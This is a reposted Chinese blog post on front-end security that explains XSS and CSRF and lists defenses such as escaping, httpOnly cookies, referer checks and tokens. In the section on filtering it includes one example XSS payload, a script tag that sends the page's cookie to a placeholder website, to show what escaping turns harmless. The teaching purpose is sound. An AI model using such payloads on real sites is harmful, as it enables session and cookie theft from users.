博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
前端安全
阅读量:7221 次
发布时间:2019-06-29

本文共 1249 字,大约阅读时间需要 4 分钟。

(理解请看)

看过文章 对web安全有了理解。在针对这个课题,简单陈述。

安全的问题大多数还是依赖与后台的过滤和拦截措施。

防范措施也就是编写前台代码时要避免的地方

有两种常见的攻击方式

1、XSS:跨站脚本攻击

      xss也就是 cross site scriting攻击为了区分css缩写采用了xss缩写 跨站脚本攻击

      也就是javascript代码注入简单理解就是往他人web页面里插入恶意的script代码。

b.com/search?name=复制代码

对于XSS的预防自然也是对提交数据的过滤,另外还有一点——谨慎返回用户提交的内容!

  1. 过滤转义输入输出
  2. 避免使用evalnew Function等执行字符串的方法,除非确定字符串和用户输入无关
  3. 使用cookie的httpOnly属性,加上了这个属性的cookie字段,js是无法进行读写的
  4. 使用innerHTML、document.write的时候,如果数据是用户输入的,那么需要对象关键字符进行过滤与转义

2、CSRF:跨站请求伪造

CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。

其实就是网站中的一些提交行为,被黑客利用,在你访问黑客的网站的时候进行操作,会被操作到其他网站上

CSRF防御措施:

  1. 检测http referer是否是同域名
  2. 避免登录的session长时间存储在客户端中
  3. 关键请求使用验证码或者token机制

其他的一些攻击方法还有HTTP劫持、界面操作劫持

资源

如何过滤输入输出

1、

      (1)通过函数mysqli_real_escape_string()过滤对数据库有影响的字符串,避免sql注入。

      (2)通过函数htmlspecialchars和htmlentities前者用来转义&,>,<等字符,后者是转义所有html标签,避免XSS攻击。

例如:<script>this.document = 某个网站地址?+this.cookie</script> 转义后会变成 &lt;script&gt;this.document = 某个网站地址?+this.cookie&lt;/script&gt;

2、js过滤转义输入输出    要研究一下

前端转义(这个感觉不是太好 输出的时候还是要过来)

function
stringEncode(str){
    var div=document.createElement('div');
    if(div.innerText){
        div.innerText=str;
    }else{
        div.textContent=str;//Support firefox
    }
    return div.innerHTML;
}

转载于:https://juejin.im/post/59e95bd76fb9a0451170404e

你可能感兴趣的文章
[转]Centos配置国内yum源
查看>>
redis数据类型和应用场景
查看>>
Spring IOC
查看>>
Fragment的onCreateView和onActivityCreate之间的区别(转)
查看>>
AC日记——统计难题 hdu 1251
查看>>
在仿真器中运行时跳过Windows Azure Startup任务
查看>>
android 获取路径目录方法以及判断目录是否存在,创建目录
查看>>
数列问题[HAOI2004模拟]
查看>>
2012各大IT公司校招笔试题整理
查看>>
phpcms 后台分页
查看>>
《需求工程》阅读笔记之六
查看>>
架构阅读笔记5
查看>>
IIS5.1使用虚拟目录部署网站
查看>>
Git 深度学习填坑之旅三(分支branch、远程操作)
查看>>
括号匹配问题
查看>>
UVA 10766 Organising the Organisation
查看>>
「美团 CodeM 复赛」城市网络
查看>>
python 将Excel表格中的一列数据转化成多行数据
查看>>
Go多线程与channel通信
查看>>
找水王
查看>>